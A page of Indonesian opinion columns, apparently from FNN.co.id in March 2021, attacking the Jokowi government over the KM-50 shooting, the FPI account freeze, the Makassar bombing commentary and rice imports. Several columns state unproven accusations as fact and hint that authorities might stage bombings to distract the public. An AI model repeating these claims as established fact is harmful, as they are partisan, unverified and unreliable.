Penembakan KM-50 itu dibuat pada 7 Desember 2020 oleh: 1. Briptu Fikri Ramadhan Tawainella, dengan Saksi: 2. Bripka Faisal Khasbi Alaeya dan 3. Bripka Adi Ismanto. Laporan itu mulai terungkap pada 4 Januari 2021. Sorotan lainnya, utang yang meroket dan rencana impor beras yang membabi buta, membuat jagad medsos bersatu dan berteriak. Bahkan kebijakan sosial soal pelarangan mudik yang tak masuk akal, kontan berhasil dipatahkan oleh rakyat. Kemarin seluruh provinsi mencatat penambahan kasus baru Covid-19. KIPI merajalela dan terjadi di mana-mana dan rakyat diliputi ketakutan. Apalagi, biaya kesehatan untuk Pandemi Coronavirus sudah mulai dikurang-kurangi. Biaya Kesehatan untuk 275 juta rakyat Indonesia butuh dana Rp 800-1.000 triliun cadangan sampai akhir 2022 nanti. Bencana Ekonomi akan memakan biaya luar biasa untuk pemulihan yang menurut ramalan Bank Dunia, kontraksi ekonomi akibat pandemi ini butuh waktu pulih setidaknya 7 tahun. Kira-kira butuh biaya Rp 1.500-2.000 triliun lagi. Yang paling mengerikan bagi Presiden Joko Widodo, suara takbir sudah berkumandang di banyak pelosok negeri. Bahkan tak terkecuali para santri tradisional NU di kampung-kampung yang mengaji sambil berurai air mata setelah menyaksikan ulama dibui, dikerdilkan, dan dicaci-maki. Apalagi, di kampung-kampung basis Muhammadiyah. Rasa persatuan di kalangan rakyat yang rasional, mereka yang tidak ikut makan dana haram, dan masyarakat yang muak di tingkat dewa kepada ocehan gerombolan pendengung seperti Denny Siregar Cs, sudah kian keras mengkristal. Rasa “marah” rakyat yang tak bisa berbuat banyak melihat perilaku korup di jajaran eksekutif dan legislatif pendukung Presiden Jokowi yang korup sudah memenuhi ubun-ubun dan rawan meledak. Rezim pun ketakutan. Saling lempar tanggung jawab antara Polri dan PPATK terkait kasus pembekuan 92 rekening FPI. Terjadi “perang terbuka” antara Menteri Pertanian, Menteri Perdagangan, dan Bulog, dalam kasus beras impor menambah carut-marutnya kebijakan di bidang pangan. Sampai-sampai presiden dipaksa tampil untuk menenangkan, meski kelihatan tak percaya diri. Eskalasi puncak pun terjadi. Kebocoran informasi tak terelakkan. Indonesia Leaks. Data-data pribadi para polisi-penjahat membanjiri jagad medsos. Posisi dan pengungkapan identitas para dalang yang menjadi otak Unlawful Killing kian rawan. Sontak nama dan pangkat komandan eksekutor di lapangan pun disembunyikan. Tapi, sudah keburu bocor dan diungkap TEMPO. Laporan terkait Pembantaian KM-50 pada 7 Desember 2020, yang dibuat oleh tiga bintara Polri itu bukan atas kemauan mereka sendiri. Karena di atas mereka itu ada Kepala yang memimpin Operasi Penyergapan HRS. Dia adalah AKBP Handik Zusen. Kepala Operasi yang cuci tangan dan menumbalkan 3 anggotanya untuk dijadikan tersangka Unlawful Killing. Dia menjabat Kepala Sub Direktorat Reserse Mobil Polda Metro Jaya. Kemudian fakta palsu itu pun dirancang dengan tergesa-gesa. Berkejaran dengan mastermind pembocor data kepolisian. Ternyata sandiwara kematian satu pelaku kemarin tidak mempan. Kalah cerdas dengan rakyat yang pintar dan super kritis. Martabat polisi malah kian hancur. Kepercayaan kepada Presiden Jokowi drastis melorot. Apapun pendapat para menteri dicibir dan dimentahkan. Baru terjadi sekali ini dalam sejarah Pemerintahan Indonesia seluruh anggota Kabinet tak dianggap. Dari sosok presiden, menteri, hingga partai pengusungnya, dianggap “bromocorah” negara.penghancur tatanan demokrasi yang dibangun rakyat dengan penuh kesabaran, darah, keringat, dan air mata. Utang negara sudah menumpuk. Situasi ekonomi dan sosial negara sudah genting. Perut lapar rakyat bersamaan dengan kepala panas. Kepercayaan telah musnah. Kemarahan membludak. Revolusi rawan meledak. Upaya apapun yang dilakukan Pemerintah sudah tak dipercaya oleh rakyat. Meledakkan bom di mana-mana sekaligus pun, tak akan bisa meredam suara Takbir. Perhatian rakyat tak akan teralihkan. Jangan sampai rakyat melawan, seperti di Thailand, Myanmar, Bangladesh, dan Libanon. Apalagi, rakyat sudah jenuh dengan prokes yang membatasi gerak dan suara mereka! Jangan sampai rakyat abai atas nyawa mereka hingga melawan! Penulis adalah Wartawan Senior FNN.co.id.

Pemblokiran Rekening FPI Atas Perintah Jokowi

KEPOLISIAN Republik Indonesia telah menerima laporan hasil analisa (LHA) Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK) terkait 92 rekening Front Pembela Islam. Polri belum atau tidak menemukan ada dugaan kejahatan asal atau predicate crime terkait rekening itu. Alhamdulillah, jika belum menemukan uang berasal dari kejahatan atau digunakan untuk kejahatan. Syukur alhamdulillah, jika Polri menyebutkan tidak, bukan belum. Sebab, jika masih menggunakan kata 'belum' seakan-akan masih ada peluang mencari-cari asal-usul uang di rekening itu. Apalagi dikait-kaitkan dengan pendanaan teroris yang tidak masuk akal. Sebab, sebagian rekening yang dibekukan PPATK itu adalah milik pribadi, terutama rekening atas nama anak dan menantu Habib Rizieq Shihab. Bahkan, rekening atas nama Munarman yang dibekukan merupakan tempat penampungan uang pensiun ayahnya, yang digunakan untuk ibunya. Jumlahnya pun berkisar Rp 30 juta. Akan tetapi, ada yang menarik di balik pernyataan Polri yang disampaikan Direktur Tindak Pidana Umum Bareskrim Polri, Andi Rian Djajadi, tentang 92 rekening yang dibekukan PPATK itu. Menurut Andi, penyidik Bareskrim (Badan Reserse.Kriminal) Markas Besar polri tidak pernah meminta PPATK membekukan rekening tersebut. Pembukaan kembali rekening FPI yang terblokir, kata Andi, merupakan wewenang PPATK. "Penyidik Bareskrim tidak pernah meminta pemblokiran atau pembekuan rekening tersebut kepada PPATK. Iya (pembukaan blokir wewenang PPATK)," kata Andi ketika diminta konfirmasi, Rabu, 24 Maret 2021. Padahal, sehari sebelumnya, Selasa 23 Maret 2021, PPATK menyebut kewenangan terkait pemblokiran tersebut kini sudah diserahkan sepenuhnya kepada Bareskrim Polri. Apakah 92 rekening itu akan dibuka atau tetap diblokir, hal itu menjadi wewenang Polri, bukan lagi PPATK. Kepala PPATK Dian Ediana Rae menjelaskan, pihaknya hanya menganalisis terkait fakta-fakta transaksi yang dilakukan 92 rekening terkait FPI itu. Dia menyebut PPATK tidak memiliki kewenangan menentukan rekening tersebut melanggar hukum atau tidak. "Kita hanya melihat fakta-fakta saja, karena analisis transaksi keuangan menariknya begini, hanya betul-betul melihat fakta-fakta pergerakan dana itu ke mana, dari mana datangnya, keluarnya ke mana, itu saja dipastikan. Mengenai masalah apakah uang itu benar-benar dipakai untuk sesuatu yang melanggar hukum atau tidak, itu bukan kewenangan PPATK," kata Dian kepada wartawan seusai rapat dengar pendapat, di kompleks DPR/MPR, Rabu (24/3/2021). Nah, dua institusi negara ini saling melempar tanggungjawab. Kedua institusi ini (PPATK dan Polri) masing-masing melepas tanggungjawab terhadap pemblokiran tekening bank tersebut. Akan tetapi, yang jelas PPATK tidak akan mau melakukan pemblokiran rekening di sebuah bank tanpa ada permintaan dari institusi hukum, yaitu Polri, Kejaksaan RI dan Komisi Pemberantasan Korupsi (KPK). Jika sebuah institusi mengajukan pemblokiran, maka PPATK memerintahkan sebuah bank memblokir rekening yang dicurigai uangnya berasal dari kejahatan atau digunakan untuk kejahatan. Misalnya, dananya berasal dari hasil kejahatan pencucian uang atau money laundry. Jadi, ada alurnya. Sebab, PPATK pun harus memerintahkan pihak bank. Tidak serta-merta lembaga tersebut membekukan rekening seseorang tanpa ada permohonan dari institusi tertentu, terutama lembaga penegak hukum. Andi Rian Djajadi juga benar dan pintar mengelak. Benar bukan penyidik yang meminta pemblokiran itu. Sebab, kalau penyidik Bareskrim Mabes Polri yang mengajukan, jelas akan ditolak PPATK. Permohonan pemblokiran sebuah rekening yang mencurigakan harus dilakukan secara resmi. Tandatangan yang memohon minimal selevel Sekretaris Jenderal (Sekjen) atau pejabat Eselon Satu. Jadi, jika dianalisa, maka dalam kasus pemblokiran 92 rekening yang terkait dengan FPI dipastikan merupakan permohonan Mabes Polri, bukan penyidiknya. Tidak mungkin permohonan pemblokiran itu diajukan KPK, Kejaksaan Agung dan institusi hukum yang berada di bawah Menteri Koordinator bidang Politik, Hukum dan Keamanan. Tidak mungkin juga Badan Intelijen Negara (BIN) mengajukan permohonan pemblokiran tersebut. Tidak mungkin juga Mahfud MD sebagai Menko Polhukam mengajukannya. Sebab, Mahfud bertugas mengkoordinasikan kegiatan-kegiatan menteri yang berada di bawahnya. Tidak mungkin Mahfud melakukan hal itu, karena ia 'orang baik' yang selalu 'mengedepankan' hukum. Tidak mungkin juga permintaan blokir 92 rekening itu datang dari Menteri Keuangan, Sri Mulyani. Juga tidak mungkin dari Menko Perekonomian, Airlangga Hartarto. Paling memungkinkan dari Menteri Koordinator Maritim.dan Investasi, Luhut Panjaitan. Sebab, yang satu ini sering disebut "Menteri Segala Urùsan." Tapi, itu pun tidak mungkin, karena selama ini FPI tidak memiliki usaha di bidang maritim maupun lainnya. Kalaupun FPI memiliki investasi ya kecil-kecil, kategori Udaha Menengah Kecil dan Mikro (UMKM). Misalnya, membuka toko minyak wangi non alkohol di Pasar Tanah Abang, Jakarta Pusat. Lalu, siapa yang meminta pemblokiran 92 rekening itu? Wakil Presiden Ma'ruf Amin juga tidak mungkin. Sebab, Pak Kiai sangat sayang sama umat Islam, termasuk FPI. Mungkinkah permintaan pemblokiran 92 rekening tersebut dari Presiden Joko Widodo? Sangat...sangat mungkin. Setidaknya, sebelum diblokir, Jokowi sudah mendapatkan laporan atas hal tersebut. Paling tidak, Jokowi mengetahui rencana pembekuan rekening tersebut.**

Kapitra Ampera Berpikiran Keruh, Curiga Bom Makassar Terkait Sidang Online

by Asyari Usman Medan, FNN - Kepolisian RI memastikan bahwa bom bunuh diri di depan Gereja Katedral Makassar terkait dengan Jemaah Ansharud Daulah (JAD). Itu aritnya, tidak terkait dengan FPI, Habib Rizieq Syihab (HRS) maupun sidang online (daring). Kemarin, dalam siaran langsung (live) salah satu stasiun televisi nasional, mantan pengacara HRS yang juga politisi PDIP, Kapitra Ampera (KA), meminta agar polisi mendalami adanya pengaruh sidang online HRS dengan bom bunuh diri itu. Menurut Polisi, bom bunuh diri tsb terkait dengan kelompok Jamaah Ansharud Daulah (JAD). Kata Kapitra, banyak yang memprotes sidang online HRS. Termasuk di Makassar. Kapitra curiga seperti itu sah-sah saja. Yang menjadi masalah adalah isi kepala Kapitra yang memicu kecurigaan dia itu. Orang ini hanya mengedepankan pikiran keruh di kepalanya. Miris melihat cara dia memposisikan diri agar terlihat oleh Presiden Jokowi. Tentu publik masih ingat ketika Kapitra menyodorkan dirinya kepada Jokowi untuk diangkat menjadi Jaksa Agung. “Saya jadi jaksa agung sajalah,” kata Kapitra kepada Suara-com pada 30 April 2019. Ingin sekali dia menjadi orang besar, masuk ke kabinet. Sebaiknya, Jokowi kasihlah kesempatan kepada Kapitra untuk menduduki kursi menteri. Supaya dia tidak bermimpi terus. Setengah tahun saja pun, lumayanlah. Ucapan Kapitra yang cenderung asal sebut tentang bom di Makassar, sangat luar biasa. Lupa diri beliau. Padahal, dia sangat kenal dengan karakter dan garis perjuangannya HRS. Kapitra hafal bahwa HRS adalah pribadi yang taat hukum. Tidak suka dengan cara-cara pengecut. Politisi PDIP ini tahu HRS akan melakukan cegah kemungkaran ketika jelas ada pelanggaran hukum yang berlangsung semena-mena. Seperti penjualan minuman keras tanpa izin atau rumah prostitusi. Untung saja Polisi tidak mengikuti jalan pikiran Kapitra tentang kemungkinan adanya kaitan bom bunuh diri Katedral dengan sidang online HRS. Semoga saja Kapitra tidak lagi ceroboh.[] Penulis adalah Wartawan Senior FNN.co.id.

Bom Yang Tidak Dianggap

SETELAH sidang eksepsi Habib Rizieq Shihab (HRS), Menteri Kordinator Bidang Politik Hukum dan Keamanan (Menkopolhukam) Mahfud MD menjadi bulan-bulanan di media sosial soal perannya dalam kejadian kerumunan bandara Sukarno-Hatta, saat kedatangan Imam Besar Front Pembela Islam (FPI) dari pengasingan di Tanah Suci. Pernyataan polisi mengenai satu pelaku penembakan 6 Mujahid anggota laskar FPI yang mati kecelakaan, menuai kecaman dan bullyan yang bertubi-tubi. Utang yang meroket dan rencana impor beras yang membabi-buta, membuat jagad medsos bersatu dan berteriak. Bahkan, kebijakan sosial soal pelarangan mudik yang tak masuk akal, kontan berhasil dipatahkan oleh rakyat. Kemarin seluruh provinsi mencatat penambahan kasus baru Covid. Bahkan KIPI merajalela di mana-mana, dan rakyat diliputi ketakutan. Yang paling mengerikan bagi rezim, suara Takbir sudah berkumandang di banyak pelosok negeri. Bahkan, tak terkecuali para santri tradisional NU di kampung-kampung mengaji sambil berurai air mata menyaksikan ulama dibui, dikerdilkan dan dicaci-maki. Di kampung Muhammadiyah apalagi. Rasa persatuan rakyat yang rasional, mereka yang tak ikut makan dana haram, dan masyarakat yang muak tingkat dewa kepada ocehan gerombolan buzzeRp, sudah kian keras mengkristal. Rasa jijik kepada rezim Jokowi yang korup sudah memenuhi ubun-ubun dan rawan pecah. Rezim pun ketakutan. Saling lempar tanggung jawab antara Polri dan PPATK dalam kasus pembekuan 92 rekening FPI juga mencuat. Terjadi perang terbuka antara Menteri Pertanian, Menteri Perdagangan dan Bulog, dalam kasus beras impor. Sampai-sampai presiden dipaksa tampil untuk menenangkan, meski kelihatan tak percaya diri. Tampak jelas bahwa ia pun tak percaya kepada ucapannya sendiri. Eskalasi puncak pun terjadi. Kebocoran informasi tak terelakkan. Indonesia leaks. Data-data pribadi para polisi-penjahat membanjiri jagad medsos. Posisi dan pengungkapan identitas para dalang yang menjadi otak Unlawful Killing kian rawan. Sontak komandan eksekutor lapangan pun disembunyikan. Lalu fakta palsu dirancang dengan tergesa-gesa. Berkejaran dengan mastermind pembocor data kepolisian. Ternyata sandiwara kematian satu pelaku kemarin tak mempan. Perancang berotak abal-abal yang di dalam darahnya mengalir duit haram, kalah pintar dengan rakyat yang pintar dan super kritis. Martabat polisi malah kian hancur. Kepercayaan kepada Jokowi drastis melorot. Apapun pendapat para menteri dicibir dan dimentahkan. Baru terjadi sekali ini di dalam sejarah pemerintahan Indonesia, seluruh anggota kabinet tidak dianggap. Dari sosok presiden, menteri, hingga partai pengusungnya, dianggap bromocorah negara. Perusak dan penghancur tatanan demokrasi yang dibangun rakyat dengan penuh kesabaran, darah, keringat dan air mata. Situasi ekonomi dan sosial negara sudah genting. Perut lapar berpasangan dengan kepala panas. Kepercayaan telah musnah. Kemarahan membludak di mana-mana. Revolusi rawan meledak. Upaya apapun yang dilakukan sudah tak dipercaya oleh rakyat. Kalian ledakkan puluhan bom sekaligus pun, tidak akan meredam suara Takbir. Perhatian rakyat tak akan teralihkan. Perlawanan sedang dalam perjalanan menuju puncaknya..!

Maaf, Pernyataan Jokowi Soal Impor Beras Bohong!

by Tjahja Gunawan Jakarta, FNN - Dalam tayangan video yang diunggah akun YouTube Sekretariat Negara hari Jumat (26/3/2021), Jokowi meminta semua pihak menghentikan perdebatan atas kebijakan impor beras. "Perdebatan soal isu tersebut justru bisa berdampak buruk terhadap harga gabah dari petani," kata Jokowi. Dalam video itu, Jokowi menyatakan bahwa kebijakan ini masih sama seperti tiga tahun terakhir yang mana Indonesia tidak mengimpor beras. Pernyataan ini sama sekali tidak benar alias bohong. Untuk pejabat sekelas Presiden seharusnya hati-hati dalam membuat pernyataan, sebelum berbicara ke publik seharusnya bisa check and recheck data secara akurat. Sebelum membuat pernyataan resmi, konfirmasi dulu kepada para menteri dan atau pejabat terkait. Memang tidak sekali ini saja, Presiden Jokowi membuat kesalahan. Pernyataan lain yang blunder dari seorang presiden yang sampai sekarang tidak dilupakan masyarakat adalah: "...Di kantong saya ada uang Rp 11.000 triliun". Pernyataan ini sudah menjadi bahan olok-olok dan cibiran masyarakat yang kemudian dikaitkan dengan utang Indonesia yang terus membengkak. Demikian juga pernyataan Jokowi soal impor beras. Di jagat media sosial, netizen dan Lembaga Swadaya Masyarakat (LSM) menyangkal pernyataan Jokowi. Kemudian kelompok kritis tersebut menyajikan sejumlah data dan grafik sebagai bukti bahwa dalam tiga tàhun terakhir ini kegiatan impor beras tetap jalan. “Hampir tiga tahun Indonesia tidak mengimpor beras? Tahun 2018 impor beras 2,25 juta ton, tahun 2019 impor 444,5 ribu ton,” tulis Institut Ecosoc Rights, Sabtu (27/3/2021). Belajar dari sejumlah kejadian selama ini, masyarakat hendaknya tidak cepat terpukau atau percaya begitu saja dengan pernyataan Presiden Jokowi yang meminta agar polemik soal Impor Beras dihentikan. Sepintas pernyataan Jokowi tersebut seolah tegas, meminta semua pihak untuk menghentikan semua perdebatan tentang impor beras. Padahal, pernyataan Jokowi ini sesungguhnya justru memunculkan kebohongan baru di seputar impor beras. Bagaimanapun semua aktivitas ekspor impor tercatat di Badan Pusat Statistik (BPS) termasuk data impor beras. Data BPS ini tidak bisa dibantah oleh siapapun. Rente Ekonomi Lapisan masyarakat kritis sebenarnya sudah memahami bahwa dalam setiap kegiatan impor pangan termasuk beras, selalu ada pihak-pihak yang mendapat keuntungan. Kegiatan rente ekonomi ini telah berjalan puluhan tàhun, rezim berganti namun rente ekonomi tetap berjalan sampai sekarang. Pelakunya adalah kalangan swasta yang memiliki modal besar kemudian berkelindan dengan oknum para pejabat pembuat kebijakan di sektor pangan. Keuntungan dari rente ekonomi impor pangan ini bukan hanya dinikmati oknum pejabat pemerintah tetapi juga uangnya mengalir ke para elite parpol. Parpol yang belakangan terlihat keras menentang rencana impor beras adalah PDIP. Sekjen PDIP Hasto Kristiyanto menyebut Menteri Perdagangan Muhammad Lutfi mengambil langkah yang tak sesuai dengan visi berdiri di atas kaki sendiri atau berdikari Presiden Jokowi. Langkah yang dimaksud yakni rencana Lutfi mengimpor beras dan garam. "Pak Jokowi punya kebijakan Berdikari. Tapi kemudian dipotong di tengah jalan oleh Menteri Perdagangannya," kata Hasto dalam webinar 'Impor Beras dan Garam' yang digelar oleh Repdem, Kamis (25/3) sebagaimana dikutip portal berita CNN Indonesia. Pernyataan heroik Sekjen PDIP ini seolah ingin menutup fakta tentang kegiatan impor pangan selama Jokowi berkuasa. Masyarakat sekarang tidak bodoh dan tidak gampang dibohongi para elite parpol. Kerasnya penentangan PDIP terhadap rencana impor beras diduga karena ada yang belum beres soal pembagian keuntungan dari impor beras. Sekali lagi saya tekankan bahwa ujung perdebatan soal beras impor beras ini lebih disebabkan soal pembagian hasil keuntungan impor beras yang belum jelas. Coba perhatikan kalimat bersayap dari pernyataan Jokowi soal Impor beras. Jokowi menegaskan hingga Juni 2021 tidak ada beras impor yang masuk ke Tanah Air. Artinya, setelah Juni tàhun ini ada kemungkinan impor beras tetap mengalir ke Tanah Air walaupun stok di Bulog mencukupi. Kalau pernyataan Presiden ini dibuat lugas, begini kira-kira: "Kalau pembagian keuntungan antara Partai Golkar dan PDIP sudah disepakati, silahkan keran impor beras dibuka lagi". Seperti diketahui, ide awal untuk mengimpor beras datang dari Menko Perekonomian Airlangga Hartarto yang nota bene Ketua Umum Partai Golkar. Kemudian ide ini langsung disetujui Menteri Perdagangan Muhammad Lutfi. Lalu Mendag memerintahkan Bulog untuk merealisasikan rencana tersebut. Namun, rupanya Dirut Perum Bulog Budi Waseso atau Buwas, tidak mau membebek begitu saja sebab rencana tersebut bertolak belakang dengan kondisi riil perberasan saat ini. Dalam rapat dengar pendapat dengan Komisi IV DPR tanggal 15 Maret 2021, Buwas membeberkan kondisi perberasan. Saat ini Perum Bulog masih memiliki stok beras impor dari pengadaan tahun 2018. Dari total pengadaan beras sebanyak 1.785.450 ton, masih tersisa 275.811 ton beras belum tersalurkan. Dari jumlah tersebut, 106.642 ton di antaranya merupakan beras turun mutu. "Kami sudah lapor ke presiden saat itu, beras impor kami saat Maret tahun lalu (stoknya) 900 ribu ton sisa dari 1,7 juta ton, sekian juta ton beras impor, jadi sudah menahun kondisinya," kata Buwas. Di depan anggota DPR, Buwas juga merasa heran dengan rencana impor beras ini sebab dalam rapat terbatas yang diikuti sebelumnya tidak dibahas mengenai rencana tersebut. Ekonom Senior Institute For Development of Economics and Finance (Indef), Faisal Basri menilai bahwa kebijakan impor satu juta ton beras sangan politis. Dia bahkan mencurigai ada pejabat yang ingin rente dengan memaksakan adanya impor beras di tengah produksi padi petani yang meningkat. Sementara itu Kementerian Pertanian mencatat, sebanyak 459 kecamatan yang tersebar di 85 kabupaten mengalami kondisi harga gabah yang anjlok. Sebagaimana diberitakan portal berita Kompas, harga gabah di daerah-daerah tersebut berada di bawah harga pokok penjualan (HPP) yang sebesar Rp 4.200 per kilogram, seperti diatur dalam Peraturan Menteri Perdagangan (Permendag) Nomor 24 Tahun 2020. "Dikonfirmasi dengan data-data di lapangan, memang harga gabah sudah turun menjadi di bawah HPP. Harga jatuh terjadi di 85 kabupaten, itu gambaran singkat perberasan," ujar Direktur Jenderal Tanaman Pangan Kementan Suwandi, Kamis (25/3/2021). Perdebatan soal rencana impor 1 juta ton beras mungkin sekarang sudah reda tetapi harga gabah di tingkat petani sudah terlanjur anjlok akibat pernyataan pejabat yang asal bunyi. Pernyataan soal impor beras ditengah panen raya secara psikologis telah mempengaruhi harga gabah/beras di pasaran. Bagi para elite, impor pangan tujuannya menikmati keuntungan dari rente ekonomi, sebaliknya bagi rakyat kecil terutama petani impor pangan merupakan malapetaka. *** Penulis adalah Wartawan Senior FNN.co.id.

Impor Beras, Ironi Negeri Penghasil Padi

by Tamsil Linrung Jakarta FNN - Inilah ironi negeri penghasil padi. Indonesia yang gemah ripah loh jinawi, sabang waktu dihadapkan pada persoalan impor beras. Problem klasik ini tak pernah surut mengiringi tahun demi tahun perjalanan bangsa. Masalahnya semakin kompleks, beranak-pinak melahirkan masalah baru dalam dinamika sosial politik tanah air. Ditambah lagi, potensi para pemburu rente ikut bermain. Kontroversi impor beras berulang setelah Menteri Perdagangan M. Lutfi mengumumkan rencana impor satu juta ton beras beberapa saat lalu. Rencana ini sungguh kering empati karena dikumandangkan saat petani jelang panen raya dan stok beras diyakini mencukupi. Sementara itu, ekonomi negara sedang sulit, hutang super besar mencapai 6.361 triliun, dan rakyat yang masih tercabik pandemi Covid-19. Sontak rencana Mendag mengagetkan banyak pihak. Petani galau, pelaku industri sektor pertanian gelisah, dan pengamat kembali adu narasi. Setelah beberapa pekan menjadi wacana kontroversial, Presiden Joko Widodo akhirnya mengambil langkah. Presiden menegaskan, rencana impor dibatalkan hingga Juni 2021 demi menjaga stabilitas harga gabah. Kita menyambut baik keputusan Presiden Jokowi. Jika boleh memberi catatan, ada beberapa hal yang harus dilakukan menindaklanjuti komitmen itu. Pertama, pengumuman rencana impor beras satu juta ton oleh Mendag terlanjur disikapi negatif oleh pasar. Menurut koordinator koalisi rakyat untuk kedaulatan pangan Said Abdullah, setelah Mendag mengumumkan rencana impor beras satu juta ton, sesaat kemudian terjadi penurunan harga di lapangan. Kisaran penurunan tersebut antara Rp. 500 sampai dengan Rp 1.000 per kilogram. Presiden tidak cukup hanya memutuskan penghentian rencana impor beras, tetapi juga menugaskan tim untuk menstabilisasi harga gabah di tingkat petani. Untuk urusan kenaikan harga, mekanisme pasar biasanya terjadi dengan sendirinya. Tapi tidak selalu begitu dalam hal penurunan harga. Kedua, untuk kesekian kalinya pemerintah terlihat tidak solid dalam urusan impor beras. Mendag M. Lutfi dan Menko Bidang Perekonomian Airlangga Hartarto nampak begitu bersemangat merencanakan impor beras satu juta ton. Sementara Menteri Pertanian Syahrul Yasin Limpo (SYL) dan Dirut Bulog Budi Waseso terlihat menolak, meski dalam Raker dengan DPR RI, Mentan mengatakan tidak memiliki kedudukan hukum atau legal standing menolak rencana impor tersebut. Bukan Pertama Kali Di bawah kepemimpinan Presiden Joko Widodo, kisruh itu bukan pertama kali. Lintas kementerian dan lembaga non departemen juga terlihat tidak kompak pada peristiwa impor beras 2018 lalu. Lekat diingatan, perdebatan antara Menteri Perdagangan Enggartiasto Lukita dengan Direktur Utama Bulog Budi Waseso yang berhari-hari menjadi headline news pada persoalan impor beras. Semestinya, Presiden Jokowi belajar dari pengalaman itu. Bahwa sebelum mengumumkan rencana impor beras, semua kementerian terkait sebaiknya satu suara terlebih dahulu. Untuk kepentingan ini, setidaknya ada dua hal yang harus dirapikan terlebih dahulu. Pertama adalah soal koordinasi. Koordinasi itu vital. Cacat koordinasi dapat membuat wajah Pemerintahan Presiden Jokowi tercoreng. Seolah-olah presiden tidak punya kemampuan mengatur menteri-menteri yang dipilihnya. Yang satu mengatakan perlu impor, yang lain malah membantah. Sayangnya, adu narasi dipertontonkan di hadapan publik. Meski data antara kementerian dan lembaga berbeda, keputusan impor atau tidak impor sesungguhnya dapat disepakati dengan mudah jika koordinasi berjalan dengan baik. Bila kesepakatan tercapai, barulah dirilis ke publik. Jika belum, berdebatlah hingga tuntas secara internal. Bukan melalui media massa. Kedua, yang harus dirapikan adalah sinkronisasi data. Karena data berbeda melahirkan sikap berbeda. Kementerian dan lembaga terkait akan selamanya berada dalam sikap berbeda bila data yang dimiliki juga berbeda. Kementerian yang satu menekankan harus impor, sementara yang lain menilai sebaliknya. Data Mendag menyebut perlu segera mengisi stok beras nasional. Namun setidaknya ada tiga sumber data yang membantah dengan tegas. Pertama, data Badan Pusat Statistik (BPS). Menurut data BPS, potensi produksi beras Januari sampai April 2021 sekitar 14 juta ton. Angka ini naik 26 persen ketimbang 2020. Dengan potensi tersebut, surplus atau kelebihan beras Januari-April 2021 diperkirakan sekitar 4,8 juta ton. Jadi, tidak beralasan bagi Mendag merencanakan, apalagi memaksakan impor beras. Kedua, data dari Kementerian Pertanian. Dalam Rapat Kerja antara Menteri Pertanian (Mentan) Syahrul Yasin Limpo (SYL) dengan Komisi IV DPR RI, diperoleh gambaran bahwa produksi beras periode Januari hingga Mei 2021 mengalamai surplus. Produksi beras disebut bakal mencapai 24,91 juta, sedangkan prediksi konsumsi beras selama rentang waktu tersebut hanya separuhnya. Jadi ada surplus sebesar 12,565 juta ton. Data ini lagi-lagi mementahkan semangat impor beras Mendag. Ketiga, data dari Bulog . Dalam sebuah diskusi virtual pada Kamis 25 Maret 2021, Direktur Utama Perum Bulog Budi Waseso mengatakan Bulog masih menyimpan 923.471 ton beras CBP. Jumlah ini belum termasuk tambahan pembelian 800.000 ton beras petani dan pembelian-pembelian lainnya sejumlah 145.000 ton hingga awal Maret 2021. Presiden Keliru Besar Soal data, bahkan Presiden Jokowi pun keliru besar. Melalui akun resmi twitternya, Presiden Jokowi kembali menegaskan tidak akan ada impor hingga Juni 2021. Penegasan ini diiringi satu kalimat tambahan. Presiden mengecuit, selama hampir tiga tahun ini, Indonesia tidak lagi mengimpor beras". Faktanya, data BPS menunjukkan, impor beras besar-besaran malah terjadi pada 2018 lalu, yakni sebanyak 2.253.824 ton. Jumlah tersebut setara dengan 1,037 miliar dollar AS. Pada 2019, Indonesia kembali mengimpor beras sebanyak 444.508 ton atau setara 184,2 juta dollar AS. Anehnya, beberapa saat lalu, Dirut Buwas mengatakan sisa stok beras 2018 hingga saat ini masih terdapat digudang bulog sebesar 300 ribu ton dan terancam rusak. Logikanya, saat impor dilakukan pada 2019, sisa stok impor 2018 tentu jauh lebih banyak lagi. Lalu, kenapa saat itu harus impor? Pada 2020 memang tidak terjadi impor beras. Namun di bulan Januari, masyarakat dihebohkan oleh banjirnya beras impor khusus asal Vietnam. Kementan membenarkan adanya beras impor asal Vietnam yang masuk ke pasar Indonesia. Beras itu terdeteksi di Pasar Induk Beras Cipinang (PIBC) Jakarta. Anehnya, Kementan merasa tidak pernah mengeluarkan ijin impor beras. Fakta-fakta di atas memperlihatkan betapa carut-marutnya cara pemerintah mengelola sektor bahan pokok 260 juta rakyat ini. Dan menjadi kian rentan ketika kegiatan impor berpotensi ditumpangi para pemburu rente dalam memburu fulus. Ekonom Indef Faisal Basri menduga keuntungan para pemburu rente mencapai Rp2 triliun untuk impor satu juta ton beras saja. Pada tahun 2005 ketika memimpin Tim Investigasi Import Beras Fraksi PKS DPR RI, temuan Tim PKS juga membenarkan apa yang menjadi temuan Ekonom Indef tersebut. Temuan kami akhirnya ditindaklanjuti KPK dibawah pimpinan Komisioner Amien Soenaryadi, yang kemudian berujung pada pemenjaraan para pelaku pemburu rente tersebut. Masalah impor beras memang pada akhirnya tidak lagi berdiri sendiri sebagai persoalan ekonomi atau pangan semata. Ketika pemburu rente dimungkinkan berada di balik kebijakan yang memaksakan impor beras, persoalan menggurita lebih kompleks. Padahal, beras hanyalah salah satu dari banyak jenis kebutuhan pokok yang kita impor. Jangankan swasembada pangan, swasembada beras saja rasanya masih terlalu jauh, meski semua rezim kerap menjadikannya jualan politik. Orang bilang tanah kita tanah surga. Tongkat Kayu dan batu jadi tanaman. Koes Plus tentu tak berniat menyindir rezim yang berkuasa melalui lirik lagu ini. Itulah sejatinya Indonesia. Namun, cara mengelola membuat negara agraris ini harus menggantungkan kebutuhan pokoknya pada lahan negara lain. Suatu ironi...! Penulis adalah Senator DPD RI.

Wouw....Munarman Keren Abis, "Amien Rais Banget”

